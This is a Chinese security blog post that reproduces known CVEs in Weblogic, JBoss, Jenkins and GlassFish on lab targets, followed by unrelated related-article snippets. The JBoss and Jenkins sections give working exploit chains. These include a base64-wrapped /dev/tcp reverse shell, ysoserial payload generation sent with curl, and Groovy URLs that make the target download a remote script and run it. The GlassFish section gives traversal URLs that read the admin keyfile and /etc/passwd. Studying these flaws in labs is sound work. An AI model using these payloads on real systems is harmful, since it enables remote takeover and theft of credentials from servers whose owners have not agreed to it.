中间件安全-CVE复现WeblogicJenkinsGlassFish漏洞复现

目录

  • 服务攻防-中间件安全&CVE复现&Weblogic&Jenkins&GlassFish漏洞复现
    • 中间件-Weblogic安全问题
      • 漏洞复现
        • CVE_2017_3506漏洞复现
    • 中间件-JBoos安全问题
      • 漏洞复现
        • CVE-2017-12149漏洞复现
        • CVE-2017-7504漏洞复现
    • 中间件-Jenkins安全问题
      • 漏洞复现
        • CVE-2017-1000353漏洞复现
        • CVE-2018-1000861漏洞复现
    • 中间件-Glassfish安全问题
      • 漏洞复现
        • CVE-2017-1000028漏洞复现

服务攻防-中间件安全&CVE复现&Weblogic&Jenkins&GlassFish漏洞复现

中间件及框架列表: IIS,Apache,Nginx,Tomcat,Docker,Weblogic,JBoos,WebSphere, Jenkins ,GlassFish,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp, Spring,Flask,jQuery等
1、中间件-Weblogic安全
2、中间件-JBoos安全
3、中间件-Jenkins安全
4、中间件-GlassFish安全

常见中间件的安全测试:
1、配置不当-解析&弱口令
2、安全机制-特定安全漏洞
3、安全机制-弱口令爆破攻击
4、安全应用-框架特定安全漏洞

中间件安全测试流程:
1、判断中间件信息-名称&版本&三方
2、判断中间件问题-配置不当&公开漏洞
3、判断中间件利用-弱口令&EXP&框架漏洞

应用服务安全测试流程:
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属-数据库&文件传输&通讯等
3、判断服务利用方式-特定漏洞&未授权&弱口令等

中间件-Weblogic安全问题

详解:weblogic详解

介绍:
Java应用服务器软件
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
探针默认端口:7001,Weblogic是Oracle公司推出的J2EE应用服务器

安全问题:

CVE_2017_3506
CVE_2018_2893
CVE_2018_3245
CVE-2018-2628 反序列化
CVE_2020_14882
CVE_2021_2394 反序列化
CVE-2023-21839 反序列化

以上的漏洞基本都可以使用现成熟的工具进行直接攻击利用。

漏洞复现

以CVE_2017_3506为例(其他编号漏洞利用基本类似,直接上工具,点一点~):

CVE_2017_3506漏洞复现

靶场:vulfocus
开启环境:
image.png
访问:
image.png
直接将url信息放入到工具当中进行检测:
存在漏洞,可直接进行命令执行:
image.png

image.png
其他漏洞编号利用方式类似,直接放入到工具当中进行检测,存在就存在,可直接执行命令或者上传,注入等操作。

手工操作复现:weblogic反序列漏洞复现

中间件-JBoos安全问题

详解:Jboss详解

介绍:
J2EE的开放源代码的应用服务器
是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。

Jboss通常占用的端口是1098,1099,4444,4445,8080,8009,8083,8093这 几个,Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。

安全问题:

CVE-2017-12149
CVE-2017-7504
弱口令 未授权访问

漏洞复现

CVE-2017-12149漏洞复现

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

靶场:vulhub
参考:JBoss 5.x/6.x 反序列化漏洞
image.png

开启环境:
image.png

访问:
image.png
漏洞利用:

payload:
//反弹shell命令:
sh -i >& /dev/tcp/192.168.100.1/8888 0>&1
//base64加密后:
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
//ysoserial工具利用:
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c{echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser
//curl命令进行请求访问,发送:
curl http://192.168.100.134:8080/invoker/readonly --data-binary @poc.ser
//接收端开启监听
nc -lvvp 8888

在ysoserial工具目录下生成了poc.ser文件:
image.png

发送curl请求:
image.png

监听端成功接收,反弹shell成功:
image.png

CVE-2017-7504漏洞复现

介绍:
Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

靶场:vulhub
参考:JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
image.png

开启环境:
image.png

访问:
image.png
漏洞利用:

//此漏洞和CVE-2017-12149利用方式差不多,区别就是请求地址内容不同
payload:
//反弹shell命令:
sh -i >& /dev/tcp/192.168.100.1/8888 0>&1
//base64加密后:
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
//ysoserial工具利用:
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c{echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser
//进行curl请求:
curl http://192.168.100.134:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser
//接收端开启监听:
nc -lvvp 8888

发送curl请求:
image.png

监听端成功接收,反弹shell成功:
image.png

中间件-Jenkins安全问题

详解:Jenkins详解
介绍:

开源软件项目
Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件项目可以进行持续集成。
探针默认端口:8080

安全问题:

CVE-2017-1000353

CVE-2018-1000861

漏洞复现

CVE-2017-1000353漏洞复现

靶场:vulfocus
或vulhub
参考:Jenkins-CI 远程代码执行漏洞
vulhub环境:
image.png

vulfocus环境:
image.png
开启靶场:
image.png

访问:
image.png

漏洞利用:
工具地址:CVE-2017-1000353
JDK版本需要为jdk-8u291,其他版本可能失效,无法复现成功
下载地址:JDK8

payload:
//执行命令,创建文件
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /123.txt"
//执行exp
python exploit.py http://192.168.100.134:8080/ jenkins_poc.ser//然后回到我们的靶机中打开终端输入以下命令,查看验证是否利用成功
docker ps -a
docker exec -it 838723a23ad0 /bin/bash
ls /

image.png

反弹shell命令:

sh -i >& /dev/tcp/192.168.100.1/8888 0>&1
//base64加密后
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}//反弹shell操作:
//将刚刚执行创建文件的命令,换成该反弹shell命令即可(base64加密后的)
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}"
//执行exp
python exploit.py http://192.168.100.134:8080/ jenkins_poc.ser//接收端开启监听
nc -lvvp 8888

image.png
注意JDK版本,否则可能无法复现。

CVE-2018-1000861漏洞复现

靶场:vulhub
参考:Jenkins远程命令执行漏洞
image.png
开启环境:
image.png

访问:
image.png

漏洞利用:
exp下载地址:CVE-2018-1000861EXP

//使用exp脚本可直接利用,python2下使用
payload:
python2 exp.py python2 exp.py http://192.168.100.134:8080/ "touch /tmp/123.txt"
python2 exp.py http://192.168.100.134:8080/ "touch /tmp/test.txt"//进入靶场环境进行验证:
docker ps
docker exec -it 靶场id /bin/bash
ls /tmp/

使用说明:
image.png

使用方式:
image.png

验证是否成功:
成功创建文件
image.png

还可以进行手工测试:

手工检测:
poc:
http://192.168.100.134:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22touch%20/tmp/rumilc%22.execute()}}
payload:
创建文件:
//发送以下请求:
http://192.168.100.134:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22touch%20/tmp/rumilc%22.execute()}}

image.png

验证:
成功创建
image.png

反弹shell:

payload:
//反弹shell命令进行base64加密
python2 exp.py http://192.168.100.134:8080  "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}"
//接收端开启监听
nc -lvvp 8888

image.png

成功反弹shell:
image.png

ps:如果不能反弹,可在服务端创建文本文件,将反弹shell命令写进文本文件当中。然后python开启http服务,观察状态。

//开启http服务:
python -m http.server 8080//python2执行exp脚本,将远程文件保存至目标主机
python2 exp.py 目标主机 "curl -o /tmp/cmd.sh  http://xxxx:8080/cmd.txt"//python2执行exp脚本,使目标主机运行脚本文件反弹shel
python2 exp.py 目标主机 "bash /tmp/cmd.sh"

image.png

http服务端可观察状态:
image.png

进入靶场验证,存在该文件:
image.png
接下来使用python2脚本exp命令进行执行即可。

还可以手工浏览器访问,依次执行:

payload:
//这里拿本地演示
//将文件保存到目标主机:
//http://ip:port/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl -o /tmp/cmd.sh http://VPSip:8888/cmd.txt".execute()}}
http://192.168.100.134:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl -o /tmp/cmd.sh http://127.0.0.1:8080/cmd.txt".execute()}}//执行shell脚本
//http://ip:port/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"bash /tmp/cmd.sh".execute()}}
http://192.168.100.134:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"bash /tmp/cmd.sh".execute()}}

访问时,浏览器变为空白界面:
执行成功
image.png

中间件-Glassfish安全问题

介绍:
GlassFish详解

一款商业应用服务器
GlassFish 是一款强健的商业兼容应用服务器,达到产品级质量,可免费用于开发、部署和重新分发。开发者可以免费获得源代码,还可以对代码进行更改。

安全问题:

CVE-2017-1000028

漏洞复现

CVE-2017-1000028漏洞复现

漏洞原理:

java语言中会把%c0%ae解析为\uC0AE,最后转义为ASCCII字符的.(点)。利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来向上跳转,达到目录穿越、任意文件读取的效果。

靶场:vulhub
参考:GlassFish 任意文件读取漏洞
image.png

开启环境:
image.png

进入环境,访问:
环境运行后,访问http://your-ip:8080http://your-ip:4848即可查看web页面。其中,8080端口是网站内容,4848端口是GlassFish管理中心。
image.png

payload:
//读取密码:
https://192.168.100.134:4848/theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afdomains/domain1/config/admin-keyfile//linux下读取文件:
https://192.168.100.134:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd//window下读取文件:
http://you-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini

成功读取密码:
image.png

成功读取文件:
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/167491.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux-管道、环境变量、常用命令

文章目录 管道概念要点与文件重定向的区别 环境变量概念查看 常用命令查看系统状况权限文件查找 用户相关工具 管道 概念 管道的作用类似于文件重定向,可以将前一个命令的stout做为下一个命令的stdin 要点 管道命令进处理stdout,会忽略stderr管道右边…

京东数据分析:2023年9月京东洗烘套装品牌销量排行榜!

鲸参谋监测的京东平台9月份洗烘套装市场销售数据已出炉! 根据鲸参谋平台的数据显示,今年9月份,京东平台洗烘套装的销量为7100,环比下降约37%,同比增长约87%;销售额为6000万,环比下降约48%&#…

Swingbench 压力测试(超详细)

目录 前提需要有配置好的oracle哦 1、环境准备 2、安装Swingbench 3、造数据 4、压测 前提需要有配置好的oracle哦 1、环境准备 启动监听 lsnrctl start 启动数据库 sqlplus / as sysdba startup 创建表 CREATE TABLESPACE soe DATAFILE /u01/app/oracle/oradata/or…

HTML+CSS+JS+Django 实现前后端分离的科学计算器、利率计算器(附全部代码在gitcode链接)

🧮前后端分离计算器 📚git仓库链接和代码规范链接💼PSP表格🎇成品展示🏆🏆科学计算器:1. 默认界面与页面切换2. 四则运算、取余、括号3. 清零Clear 回退Back4. 错误提示 Error5. 读取历史记录Hi…

MySQL-DML【数据操作语言】(图码结合)

目录 🚩DML的定义 👉DML-添加数据 🎓给指定的字段添加数据 🕶️查询表数据的方式 ❗疑惑点一【Affecter rows:行数】 ❗疑惑点二【字符集问题】 🎓给全部字段添加数据 🎓批量添加数据 &#x1f…

029-第三代软件开发-加载本地字体库

第三代软件开发-加载本地字体库 文章目录 第三代软件开发-加载本地字体库项目介绍加载本地字体库 关键字: Qt、 Qml、 QFont、 QFontDatabase、 ttf 项目介绍 欢迎来到我们的 QML & C 项目!这个项目结合了 QML(Qt Meta-Object Langu…

机器人SLAM与自主导航

机器人技术的迅猛发展,促使机器人逐渐走进了人们的生活,服务型室内移动机器人更是获得了广泛的关注。但室内机器人的普及还存在许多亟待解决的问题,定位与导航就是其中的关键问题之一。在这类问题的研究中,需要把握三个重点&#…

2023年中职组“网络安全”赛项云南省竞赛任务书

2023年中职组“网络安全”赛项 云南省竞赛任务书 一、竞赛时间 总计:360分钟 竞赛阶段 竞赛阶段 任务阶段 竞赛任务 竞赛时间 分值 A模块 A-1 登录安全加固 180分钟 200分 A-2 本地安全策略配置 A-3 流量完整性保护 A-4 事件监控 A-5 服务加固…

PKU 概率论+数理统计 期中考复习总结

这里写目录标题 计算条件概率计算概率(放回与不放回)生成随机数算法Uniformity (test of frequency)1.Chi-Square test2.Kolmogorov-Sminov test Independence (test of autocorrelation)Runs test Acceptance-rejection methodmethod方法1:建…

AAPCS:最新的ARM子程序调用规则

AAPCS是arm公司发布的ARM架构应用程序二进制(ABI)程序调用接口,该文档由多个版本,博主第一次ARM程序调用规则是在《ARM体系与结构编程》,但书中描述的是ATPCS,AAPCS是ATPCS的升级版。后面去ARM官网看到了AA…

计算机视觉实战项目3(图像分类+目标检测+目标跟踪+姿态识别+车道线识别+车牌识别+无人机检测+A*路径规划+单目测距与测速+行人车辆计数等)

车辆跟踪及测距 该项目一个基于深度学习和目标跟踪算法的项目,主要用于实现视频中的目标检测和跟踪。该项目使用了 YOLOv5目标检测算法和 DeepSORT 目标跟踪算法,以及一些辅助工具和库,可以帮助用户快速地在本地或者云端上实现视频目标检测和…

javaEE - 1(9000字详解多线程)

一:认识线程 1.1 线程的概念 线程是操作系统中执行的最小单位,它是进程中的一个实体。一个进程可以包含多个线程,并且这些线程共享进程的资源,如内存、文件句柄等,但每个线程有自己的独立执行流程和栈空间。 线程在…

昇腾CANN 7.0 黑科技:大模型训练性能优化之道

目前,大模型凭借超强的学习能力,已经在搜索、推荐、智能交互、AIGC、生产流程变革、产业提效等场景表现出巨大的潜力。大模型经过海量数据的预训练,通常具有良好的通用性和泛化性。用户基于“大模型预训练微调”开发范式即可在实际业务场景取…

【技能树笔记】网络篇——练习题解析(八)

目录 前言 一、LAN技术 1.1 堆叠与集群 1.2 MSTP的特点 二、WAN技术 2.1 PPP链路建立 2.2 PPPoE 2.3 组播 2.3.1 组播的IP 2.3.2 组播分发树 2.3.3 组播协议 三、IPv6基础 3.1 IPv6地址 3.2 IPv6协议 3.3 IPv6过渡技术 总结 🌈嗨!我是Filotimo__&#x1…

Linux下Jenkins自动化部署SpringBoot应用

Linux下Jenkins自动化部署SpringBoot应用 1、 Jenkins介绍 官方网址:https://www.jenkins.io/ 2、安装Jenkins 2.1 centos下命令行安装 访问官方,点击文档: 点击 Installing Jenkins: 点击 Linux: 选择 Red Hat/…

RK3568平台 GPIO子系统框架

一.gpio 子系统简介 gpio 子系统顾名思义,就是用于初始化 GPIO 并且提供相应的 API 函数,比如设置 GPIO为输入输出,读取 GPIO 的值等。gpio 子系统的主要目的就是方便驱动开发者使用 gpio,驱动 开发者在设备树中添加 gpio 相关信…

改进YOLO系列 | YOLOv5/v7 引入 Dynamic Snake Convolution | 动态蛇形卷积

准确分割拓扑管状结构,如血管和道路,在各个领域中至关重要,可以确保下游任务的准确性和效率。然而,许多因素使任务复杂化,包括细小的局部结构和可变的全局形态。在这项工作中,我们注意到管状结构的特殊性,并利用这一知识来引导我们的DSCNet,以在三个阶段同时增强感知:…

【问题记录】解决Qt连接MySQL报“QMYSQL driver not loaded”以及不支持MySQL事务操作的问题!

环境 Windows 11 家庭中文版,64 位操作系统, 基于 x64 的处理器Qt 5.15.2 MinGW 32-bitmysql Ver 14.14 Distrib 5.7.42, for Win32 (AMD64) 问题情况 在Qt 5.15.2 中编写连接MySQL数据库代码后,使用 MinGW 32-bit 构建套件进行编译运行后,报…

互联网Java工程师面试题·Java 面试篇·第四弹

目录 59、我们能自己写一个容器类,然后使用 for-each 循环码? 60、ArrayList 和 HashMap 的默认大小是多数? 61、有没有可能两个不相等的对象有有相同的 hashcode? 62、两个相同的对象会有不同的的 hash code 吗? …

专业安卓实时投屏软件:极限投屏(QtScrcpy作者开发)使用说明

基本介绍 极限投屏是一款批量投屏管理安卓设备的软件,是QtScrcpy作者基于QtScrcpyCore开发,主要功能有: 设备投屏&控制:单个控制、批量控制分组管理wifi投屏adb shell快捷指令文件传输、apk安装 更多功能还在持续更新。 极…